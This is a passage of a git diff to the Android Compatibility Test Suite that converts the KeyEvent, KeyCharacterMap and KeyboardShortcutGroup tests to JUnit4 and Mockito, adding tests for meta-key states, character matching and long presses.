         assertEquals('\0', mKeyCharacterMap.getMatch(getCharacterKeyCode('E'), chars));
         assertEquals('A', mKeyCharacterMap.getMatch(getCharacterKeyCode('A'), chars));
         assertEquals('B', mKeyCharacterMap.getMatch(getCharacterKeyCode('B'), chars));
@@ -291,12 +305,13 @@
         return events[0].getKeyCode();
     }
 
-    public void testGetMatch2() throws Exception {
-        try {
-            mKeyCharacterMap.getMatch(KeyEvent.KEYCODE_0, null, 1);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetMatchMetaStateNull() {
+        mKeyCharacterMap.getMatch(KeyEvent.KEYCODE_0, null, 1);
+    }
+
+    @Test
+    public void testGetMatchMetaState() {
         assertEquals('\0', mKeyCharacterMap.getMatch(1000, chars, 2));
         assertEquals('\0', mKeyCharacterMap.getMatch(10000, chars, 2));
         assertEquals('\0', mKeyCharacterMap.getMatch(getCharacterKeyCode('E'), chars));
@@ -304,16 +319,18 @@
         assertEquals('B', mKeyCharacterMap.getMatch(getCharacterKeyCode('B'), chars));
     }
 
-    public void testGetKeyboardType() throws Exception {
+    @Test
+    public void testGetKeyboardType() {
         mKeyCharacterMap.getKeyboardType();
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetEventsNull() {
+        mKeyCharacterMap.getEvents(null);
+    }
+
+    @Test
     public void testGetEvents() {
-        try {
-            mKeyCharacterMap.getEvents(null);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
         CharSequence mCharSequence = "TestMessage123";
         int len = mCharSequence.length();
         char[] charsArray = new char[len];
@@ -321,7 +338,8 @@
         mKeyCharacterMap.getEvents(charsArray);
     }
 
-    public void testGetKeyData() throws Exception {
+    @Test
+    public void testGetKeyData() {
         KeyData result = new KeyData();
         result.meta = new char[2];
         try {
diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index 61d7d92..fde3f81 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java
@@ -16,35 +16,57 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
 
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.method.MetaKeyKeyListener;
-import android.view.KeyEvent;
+import android.view.InputDevice;
+import android.view.KeyCharacterMap;
 import android.view.KeyCharacterMap.KeyData;
-import android.view.KeyEvent.Callback;
+import android.view.KeyEvent;
 
 import junit.framework.Assert;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+
 /**
  * Test {@link KeyEvent}.
  */
-public class KeyEventTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class KeyEventTest {
     private KeyEvent mKeyEvent;
     private long mDownTime;
     private long mEventTime;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
 
         mDownTime = SystemClock.uptimeMillis();
         mEventTime = SystemClock.uptimeMillis();
     }
 
+    @Test
     public void testConstructor() {
         new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
 
@@ -66,6 +88,7 @@
         new KeyEvent(mDownTime, "test", 0, KeyEvent.FLAG_SOFT_KEYBOARD);
     }
 
+    @Test
     public void testGetCharacters() {
         String characters = "android_test";
         mKeyEvent = new KeyEvent(mDownTime, characters, 0, KeyEvent.FLAG_SOFT_KEYBOARD);
@@ -77,29 +100,79 @@
         assertNull(mKeyEvent.getCharacters());
     }
 
+    @Test
     public void testGetMaxKeyCode() {
         assertTrue(KeyEvent.getMaxKeyCode() > 0);
     }
 
-    public void testIsShiftPressed() {
-        assertFalse(mKeyEvent.isShiftPressed());
-        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 5,
-                KeyEvent.META_SHIFT_ON);
-        assertTrue(mKeyEvent.isShiftPressed());
+    @Test
+    public void testMetaKeyStates() {
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 5,
                 KeyEvent.META_ALT_ON);
+        assertTrue(mKeyEvent.isAltPressed());
+        assertFalse(mKeyEvent.isCtrlPressed());
+        assertFalse(mKeyEvent.isFunctionPressed());
+        assertFalse(mKeyEvent.isMetaPressed());
         assertFalse(mKeyEvent.isShiftPressed());
+        assertFalse(mKeyEvent.isSymPressed());
+
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_1, 4,
+                KeyEvent.META_CTRL_ON);
+        assertFalse(mKeyEvent.isAltPressed());
+        assertTrue(mKeyEvent.isCtrlPressed());
+        assertFalse(mKeyEvent.isFunctionPressed());
+        assertFalse(mKeyEvent.isMetaPressed());
+        assertFalse(mKeyEvent.isShiftPressed());
+        assertFalse(mKeyEvent.isSymPressed());
+
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_2, 3,
+                KeyEvent.META_FUNCTION_ON);
+        assertFalse(mKeyEvent.isAltPressed());
+        assertFalse(mKeyEvent.isCtrlPressed());
+        assertTrue(mKeyEvent.isFunctionPressed());
+        assertFalse(mKeyEvent.isMetaPressed());
+        assertFalse(mKeyEvent.isShiftPressed());
+        assertFalse(mKeyEvent.isSymPressed());
+
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_3, 2,
+                KeyEvent.META_META_ON);
+        assertFalse(mKeyEvent.isAltPressed());
+        assertFalse(mKeyEvent.isCtrlPressed());
+        assertFalse(mKeyEvent.isFunctionPressed());
+        assertTrue(mKeyEvent.isMetaPressed());
+        assertFalse(mKeyEvent.isShiftPressed());
+        assertFalse(mKeyEvent.isSymPressed());
+
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_4, 1,
+                KeyEvent.META_SHIFT_ON);
+        assertFalse(mKeyEvent.isAltPressed());
+        assertFalse(mKeyEvent.isCtrlPressed());
+        assertFalse(mKeyEvent.isFunctionPressed());
+        assertFalse(mKeyEvent.isMetaPressed());
+        assertTrue(mKeyEvent.isShiftPressed());
+        assertFalse(mKeyEvent.isSymPressed());
+
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_5, 0,
+                KeyEvent.META_SYM_ON);
+        assertFalse(mKeyEvent.isAltPressed());
+        assertFalse(mKeyEvent.isCtrlPressed());
+        assertFalse(mKeyEvent.isFunctionPressed());
+        assertFalse(mKeyEvent.isMetaPressed());
+        assertFalse(mKeyEvent.isShiftPressed());
+        assertTrue(mKeyEvent.isSymPressed());
     }
 
+    @Test
     public void testGetDeadChar() {
         // decimal number of &egrave; is 232.
         assertEquals(232, KeyEvent.getDeadChar('`', 'e'));
     }
 
+    @Test
     public void testGetKeyData() {
-        KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_Z);
+        mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_Z);
         KeyData keyData = new KeyData();
-        assertTrue(keyEvent.getKeyData(keyData));
+        assertTrue(mKeyEvent.getKeyData(keyData));
 
         assertEquals('Z', keyData.displayLabel);
         assertEquals(0, keyData.number);
@@ -108,47 +181,51 @@
         assertEquals(0, keyData.meta[3]);
     }
 
+    @Test
     public void testDispatch() {
-        MockCallback callback = new MockCallback();
+        final KeyEvent.Callback callback = mock(KeyEvent.Callback.class);
+        doReturn(true).when(callback).onKeyDown(anyInt(), any(KeyEvent.class));
+        doReturn(true).when(callback).onKeyUp(anyInt(), any(KeyEvent.class));
+        doAnswer((InvocationOnMock invocation) -> {
+            final int count = (Integer) invocation.getArguments()[1];
+            return (count < 1) ? false : true;
+        }).when(callback).onKeyMultiple(anyInt(), anyInt(), any(KeyEvent.class));
+
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
-        callback.reset();
-        assertFalse(callback.isKeyDown());
+        verify(callback, never()).onKeyDown(anyInt(), any(KeyEvent.class));
         assertTrue(mKeyEvent.dispatch(callback));
-        assertTrue(callback.isKeyDown());
-        assertEquals(KeyEvent.KEYCODE_0, callback.getKeyCode());
-        assertSame(mKeyEvent, callback.getKeyEvent());
+        verify(callback, times(1)).onKeyDown(KeyEvent.KEYCODE_0, mKeyEvent);
+        verifyNoMoreInteractions(callback);
 
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_0);
-        callback.reset();
-        assertFalse(callback.isKeyUp());
+        verify(callback, never()).onKeyUp(anyInt(), any(KeyEvent.class));
         assertTrue(mKeyEvent.dispatch(callback));
-        assertTrue(callback.isKeyUp());
-        assertEquals(KeyEvent.KEYCODE_0, callback.getKeyCode());
-        assertSame(mKeyEvent, callback.getKeyEvent());
+        verify(callback, times(1)).onKeyUp(KeyEvent.KEYCODE_0, mKeyEvent);
+        verifyNoMoreInteractions(callback);
 
-        callback.reset();
         int count = 2;
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_MULTIPLE,
                 KeyEvent.KEYCODE_0, count);
-        assertFalse(callback.isKeyMultiple());
+        verify(callback, never()).onKeyMultiple(anyInt(), anyInt(), any(KeyEvent.class));
         assertTrue(mKeyEvent.dispatch(callback));
-        assertTrue(callback.isKeyMultiple());
-        assertEquals(KeyEvent.KEYCODE_0, callback.getKeyCode());
-        assertSame(mKeyEvent, callback.getKeyEvent());
-        assertEquals(count, callback.getCount());
+        verify(callback, times(1)).onKeyMultiple(KeyEvent.KEYCODE_0, count, mKeyEvent);
+        verifyNoMoreInteractions(callback);
 
-        callback.reset();
         count = 0;
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_MULTIPLE,
                 KeyEvent.KEYCODE_0, count);
         assertTrue(mKeyEvent.dispatch(callback));
-        assertTrue(callback.isKeyMultiple());
-        assertTrue(callback.isKeyDown());
-        assertTrue(callback.isKeyUp());
-        assertEquals(count, callback.getCount());
-        assertEquals(KeyEvent.KEYCODE_0, callback.getKeyCode());
+        // Note that even though we didn't reset our mock callback, we have a brand new
+        // instance of KeyEvent in mKeyEvent. This is why we're expecting the relevant
+        // onKeyXXX() methods on the mock callback to be called once with that new KeyEvent
+        // instance.
+        verify(callback, times(1)).onKeyDown(KeyEvent.KEYCODE_0, mKeyEvent);
+        verify(callback, times(1)).onKeyMultiple(KeyEvent.KEYCODE_0, count, mKeyEvent);
+        verify(callback, times(1)).onKeyUp(KeyEvent.KEYCODE_0, mKeyEvent);
+        verifyNoMoreInteractions(callback);
     }
 
+    @Test
     public void testGetMetaState() {
         int metaState = KeyEvent.META_ALT_ON;
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_MULTIPLE,
@@ -156,18 +233,21 @@
         assertEquals(metaState, mKeyEvent.getMetaState());
     }
 
+    @Test
     public void testGetEventTime() {
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_0, 5);
         assertEquals(mEventTime, mKeyEvent.getEventTime());
     }
 
+    @Test
     public void testGetDownTime() {
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_0, 5);
         assertEquals(mDownTime, mKeyEvent.getDownTime());
     }
 
+    @Test
     public void testGetUnicodeChar1() {
         // 48 is Unicode character of '0'
         assertEquals(48, mKeyEvent.getUnicodeChar());
@@ -183,6 +263,7 @@
         assertEquals(0, mKeyEvent.getUnicodeChar());
     }
 
+    @Test
     public void testGetUnicodeChar2() {
         // 48 is Unicode character of '0'
         assertEquals(48, mKeyEvent.getUnicodeChar(MetaKeyKeyListener.META_CAP_LOCKED));
@@ -198,6 +279,7 @@
         assertEquals(0, mKeyEvent.getUnicodeChar(0));
     }
 
+    @Test
     public void testGetNumber() {
         // 48 is associated with key '0'
         assertEquals(48, mKeyEvent.getNumber());
@@ -207,16 +289,7 @@
         assertEquals(51, mKeyEvent.getNumber());
     }
 
-    public void testIsSymPressed() {
-        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 5,
-                KeyEvent.META_SYM_ON);
-        assertTrue(mKeyEvent.isSymPressed());
-
-        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 5,
-                KeyEvent.META_SHIFT_ON);
-        assertFalse(mKeyEvent.isSymPressed());
-    }
-
+    @Test
     public void testGetDeviceId() {
         int deviceId = 1;
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 5,
@@ -224,21 +297,13 @@
         assertEquals(deviceId, mKeyEvent.getDeviceId());
     }
 
+    @Test
     public void testToString() {
         // make sure it does not throw any exception.
         mKeyEvent.toString();
     }
 
-    public void testIsAltPressed() {
-        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 5,
-                KeyEvent.META_ALT_ON);
-        assertTrue(mKeyEvent.isAltPressed());
-
-        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 5,
-                KeyEvent.META_SHIFT_ON);
-        assertFalse(mKeyEvent.isAltPressed());
-    }
-
+    @Test
     public void testGetModifierMetaStateMask() {
         int mask = KeyEvent.getModifierMetaStateMask();
         assertTrue((mask & KeyEvent.META_SHIFT_ON) != 0);
@@ -261,6 +326,7 @@
         assertFalse((mask & KeyEvent.META_SCROLL_LOCK_ON) != 0);
     }
 
+    @Test
     public void testIsModifierKey() {
         assertTrue(KeyEvent.isModifierKey(KeyEvent.KEYCODE_SHIFT_LEFT));
         assertTrue(KeyEvent.isModifierKey(KeyEvent.KEYCODE_SHIFT_RIGHT));
@@ -279,6 +345,7 @@
 
     private static final int UNDEFINED_META_STATE = 0x80000000;
 
+    @Test
     public void testNormalizeMetaState() {
         // Already normalized values.
         assertEquals(0, KeyEvent.normalizeMetaState(0));
@@ -312,6 +379,7 @@
                 KeyEvent.normalizeMetaState(KeyEvent.META_SHIFT_ON | UNDEFINED_META_STATE));
     }
 
+    @Test
     public void testMetaStateHasNoModifiers() {
         assertTrue(KeyEvent.metaStateHasNoModifiers(0));
         assertTrue(KeyEvent.metaStateHasNoModifiers(KeyEvent.META_CAPS_LOCK_ON));
@@ -334,6 +402,7 @@
         assertFalse(KeyEvent.metaStateHasNoModifiers(KeyEvent.META_FUNCTION_ON));
     }
 
+    @Test
     public void testMetaStateHasModifiers() {
         assertTrue(KeyEvent.metaStateHasModifiers(0, 0));
         assertTrue(KeyEvent.metaStateHasModifiers(
@@ -413,35 +482,39 @@
         assertFalse(KeyEvent.metaStateHasModifiers(0, UNDEFINED_META_STATE));
     }
 
+    @Test
     public void testHasNoModifiers() {
-        KeyEvent ev = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_A, 0, KeyEvent.META_CAPS_LOCK_ON);
-        assertTrue(ev.hasNoModifiers());
+        assertTrue(mKeyEvent.hasNoModifiers());
 
-        ev = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_A, 0, KeyEvent.META_CAPS_LOCK_ON | KeyEvent.META_SHIFT_ON);
-        assertFalse(ev.hasNoModifiers());
+        assertFalse(mKeyEvent.hasNoModifiers());
     }
 
+    @Test
     public void testHasModifiers() {
-        KeyEvent ev = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_A, 0, KeyEvent.META_CAPS_LOCK_ON);
-        assertTrue(ev.hasModifiers(0));
+        assertTrue(mKeyEvent.hasModifiers(0));
 
-        ev = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_A, 0, KeyEvent.META_CAPS_LOCK_ON | KeyEvent.META_SHIFT_ON);
-        assertTrue(ev.hasModifiers(KeyEvent.META_SHIFT_ON));
+        assertTrue(mKeyEvent.hasModifiers(KeyEvent.META_SHIFT_ON));
 
-        ev = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_A, 0,
                 KeyEvent.META_CAPS_LOCK_ON | KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON);
-        assertFalse(ev.hasModifiers(KeyEvent.META_SHIFT_LEFT_ON));
+        assertFalse(mKeyEvent.hasModifiers(KeyEvent.META_SHIFT_LEFT_ON));
     }
 
+    @Test
     public void testGetDisplayLabel() {
         assertTrue(mKeyEvent.getDisplayLabel() > 0);
     }
 
+    @Test
     public void testIsSystem() {
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MENU);
         assertTrue(mKeyEvent.isSystem());
@@ -486,6 +559,7 @@
         assertFalse(mKeyEvent.isSystem());
     }
 
+    @Test
     public void testIsPrintingKey() {
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, Character.SPACE_SEPARATOR);
         assertTrue(mKeyEvent.isPrintingKey());
@@ -506,22 +580,35 @@
         assertTrue(mKeyEvent.isPrintingKey());
     }
 
-    public void testGetMatch1() {
-        char[] codes1 = new char[] { '0', '1', '2' };
-        assertEquals('0', mKeyEvent.getMatch(codes1));
+    @Test
+    public void testGetMatch() {
+        // Our default key event is down + 0, so we expect getMatch to return our '0' character
+        assertEquals('0', mKeyEvent.getMatch(new char[] { '0', '1', '2' }));
 
-        char[] codes2 = new char[] { 'A', 'B', 'C' };
-        assertEquals('\0', mKeyEvent.getMatch(codes2));
+        // Our default key event is down + 0, so we expect getMatch to return the default 0
+        assertEquals('\0', mKeyEvent.getMatch(new char[] { 'A', 'B', 'C' }));
 
-        char[] codes3 = { '2', 'S' };
         mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_S);
-        assertEquals('S', mKeyEvent.getMatch(codes3));
+        assertEquals('S', mKeyEvent.getMatch(new char[] { '2', 'S' }));
     }
 
+    @Test
+    public void testGetMatchWithMeta() {
+        mKeyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_A);
+        // With no meta state, we're expecting our key event to match the lowercase 'a' since
+        // it's the first good match in the passed array
+        assertEquals('a', mKeyEvent.getMatch(new char[] { 'a', 'A' }, 0));
+        // With SHIFT_ON meta state, we're expecting the same key event to match the uppercase
+        // 'a' since it's a better match now
+        assertEquals('A', mKeyEvent.getMatch(new char[] { 'a', 'A' }, KeyEvent.META_SHIFT_ON));
+    }
+
+    @Test
     public void testGetAction() {
         assertEquals(KeyEvent.ACTION_DOWN, mKeyEvent.getAction());
     }
 
+    @Test
     public void testGetRepeatCount() {
         int repeatCount = 1;
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_MULTIPLE,
@@ -529,6 +616,7 @@
         assertEquals(repeatCount, mKeyEvent.getRepeatCount());
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel parcel = Parcel.obtain();
         mKeyEvent.writeToParcel(parcel, Parcelable.PARCELABLE_WRITE_RETURN_VALUE);
@@ -548,15 +636,18 @@
         assertEquals(mKeyEvent.getEventTime(), keyEvent.getEventTime());
     }
 
+    @Test
     public void testDescribeContents() {
         // make sure it never shrow any exception.
         mKeyEvent.describeContents();
     }
 
+    @Test
     public void testGetKeyCode() {
         assertEquals(KeyEvent.KEYCODE_0, mKeyEvent.getKeyCode());
     }
 
+    @Test
     public void testGetFlags() {
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_0, 5, KeyEvent.META_SHIFT_ON, 1, 1, KeyEvent.FLAG_WOKE_HERE);
@@ -567,6 +658,7 @@
         assertEquals(KeyEvent.FLAG_SOFT_KEYBOARD, mKeyEvent.getFlags());
     }
 
+    @Test
     public void testGetScanCode() {
         int scanCode = 1;
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
@@ -574,6 +666,7 @@
         assertEquals(scanCode, mKeyEvent.getScanCode());
     }
 
+    @Test
     public void testChangeAction() {
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_0, 5, KeyEvent.META_SHIFT_ON, 1, 1, KeyEvent.FLAG_WOKE_HERE);
@@ -590,6 +683,7 @@
         assertEquals(mKeyEvent.getRepeatCount(), newEvent.getRepeatCount());
     }
 
+    @Test
     public void testChangeFlags() {
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_0, 5, KeyEvent.META_SHIFT_ON, 1, 1, KeyEvent.FLAG_WOKE_HERE);
@@ -606,6 +700,7 @@
         assertEquals(mKeyEvent.getRepeatCount(), newEvent.getRepeatCount());
     }
 
+    @Test
     public void testChangeTimeRepeat() {
         mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
                 KeyEvent.KEYCODE_0, 5, KeyEvent.META_SHIFT_ON, 1, 1, KeyEvent.FLAG_WOKE_HERE);
@@ -624,71 +719,45 @@
         assertEquals(mKeyEvent.getKeyCode(), newEvent.getKeyCode());
     }
 
-    private class MockCallback implements Callback {
-        private boolean mIsKeyDown;
-        private boolean mIsKeyUp;
-        private boolean mIsMultiple;
-        private int mKeyCode;
-        private KeyEvent mKeyEvent;
-        private int mCount;
+    @Test
+    public void testAccessSource() {
+        mKeyEvent.setSource(InputDevice.SOURCE_KEYBOARD);
+        assertEquals(InputDevice.SOURCE_KEYBOARD, mKeyEvent.getSource());
 
-        public boolean isKeyDown() {
-            return mIsKeyDown;
-        }
+        mKeyEvent.setSource(InputDevice.SOURCE_HDMI);
+        assertEquals(InputDevice.SOURCE_HDMI, mKeyEvent.getSource());
+    }
 
-        public boolean isKeyUp() {
-            return mIsKeyUp;
-        }
+    @Test
+    public void testMetaOn() {
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_A, 0, KeyEvent.META_CAPS_LOCK_ON | KeyEvent.META_SHIFT_ON);
+        assertTrue(mKeyEvent.isCapsLockOn());
+        assertFalse(mKeyEvent.isNumLockOn());
+        assertFalse(mKeyEvent.isScrollLockOn());
 
-        public boolean isKeyMultiple() {
-            return mIsMultiple;
-        }
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_B, 1, KeyEvent.META_NUM_LOCK_ON | KeyEvent.META_SHIFT_ON);
+        assertFalse(mKeyEvent.isCapsLockOn());
+        assertTrue(mKeyEvent.isNumLockOn());
+        assertFalse(mKeyEvent.isScrollLockOn());
 
-        public int getKeyCode() {
-            return mKeyCode;
-        }
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN,
+                KeyEvent.KEYCODE_C, 2, KeyEvent.META_SCROLL_LOCK_ON | KeyEvent.META_SHIFT_ON);
+        assertFalse(mKeyEvent.isCapsLockOn());
+        assertFalse(mKeyEvent.isNumLockOn());
+        assertTrue(mKeyEvent.isScrollLockOn());
+    }
 
-        public KeyEvent getKeyEvent() {
-            return mKeyEvent;
-        }
+    @Test
+    public void testIsLongPress() {
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_A,
+                1, 0, KeyCharacterMap.VIRTUAL_KEYBOARD, 0, KeyEvent.FLAG_LONG_PRESS,
+                InputDevice.SOURCE_TOUCHSCREEN);
+        assertTrue(mKeyEvent.isLongPress());
 
-        public int getCount() {
-            return mCount;
-        }
-
-        public void reset() {
-            mIsKeyDown = false;
-            mIsKeyUp = false;
-            mIsMultiple = false;
-        }
-
-        public boolean onKeyDown(int keyCode, KeyEvent event) {
-            mIsKeyDown = true;
-            mKeyCode = keyCode;
-            mKeyEvent = event;
-            return true;
-        }
-
-        public boolean onKeyLongPress(int keyCode, KeyEvent event) {
-            return false;
-        }
-
-        public boolean onKeyMultiple(int keyCode, int count, KeyEvent event) {
-            mIsMultiple = true;
-            mKeyCode = keyCode;
-            mKeyEvent = event;
-            mCount = count;
-            if (count < 1) {
-                return false; // this key event never repeat.
-            }
-            return true;
-        }
-
-        public boolean onKeyUp(int keyCode, KeyEvent event) {
-            mIsKeyUp = true;
-            mKeyCode = keyCode;
-            mKeyEvent = event;
-            return true;
-        }
+        mKeyEvent = new KeyEvent(mDownTime, mEventTime, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_A,
+                1, 0, KeyCharacterMap.VIRTUAL_KEYBOARD, 0, 0, InputDevice.SOURCE_TOUCHSCREEN);
+        assertFalse(mKeyEvent.isLongPress());
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
index 067f0bb..cae49c7 100644
--- a/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyboardShortcutGroupTest.java
@@ -1,25 +1,51 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.os.Parcel;
-import android.test.InstrumentationTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.KeyboardShortcutGroup;
 import android.view.KeyboardShortcutInfo;
 
 import com.google.android.collect.Lists;
 
-import java.util.ArrayList;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 
 /**
  * Tests for {@link android.view.KeyboardShortcutGroup}.
  */
-public class KeyboardShortcutGroupTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class KeyboardShortcutGroupTest {
     private static final CharSequence TEST_LABEL = "Test Group Label";
     private final List<KeyboardShortcutInfo> TEST_ITEMS = Lists.newArrayList(
             new KeyboardShortcutInfo("Item 1", KeyEvent.KEYCODE_U, KeyEvent.META_CTRL_ON),
             new KeyboardShortcutInfo("Item 2", KeyEvent.KEYCODE_F, KeyEvent.META_CTRL_ON));
 
+    @Test
     public void testConstructor() {
         KeyboardShortcutGroup group = new KeyboardShortcutGroup(TEST_LABEL, TEST_ITEMS);
 
@@ -29,6 +55,7 @@
         assertEquals(0, group.describeContents());
     }
 
+    @Test
     public void testShortConstructor() {
         KeyboardShortcutGroup group = new KeyboardShortcutGroup(TEST_LABEL);
 
@@ -38,6 +65,7 @@
         assertEquals(0, group.describeContents());
     }
 
+    @Test
     public void testSystemConstructor() {
         KeyboardShortcutGroup group = new KeyboardShortcutGroup(TEST_LABEL, TEST_ITEMS, true);
 
@@ -47,6 +75,7 @@
         assertEquals(0, group.describeContents());
     }
 
+    @Test
     public void testSystemShortConstructor() {
         KeyboardShortcutGroup group = new KeyboardShortcutGroup(TEST_LABEL, true);
 
@@ -56,15 +85,12 @@
         assertEquals(0, group.describeContents());
     }
 
+    @Test(expected=NullPointerException.class)
     public void testConstructorChecksList() {
-        try {
-            KeyboardShortcutGroup group = new KeyboardShortcutGroup(TEST_LABEL, null);
-        } catch (NullPointerException expected) {
-            return;
-        }
-        fail();
+        new KeyboardShortcutGroup(TEST_LABEL, null);
     }
 
+    @Test
     public void testAddItem() {
         KeyboardShortcutGroup group = new KeyboardShortcutGroup(TEST_LABEL, TEST_ITEMS);
 
@@ -76,6 +102,7 @@
         assertEquals("Additional item", group.getItems().get(newSize - 1).getLabel());
     }
 
+    @Test
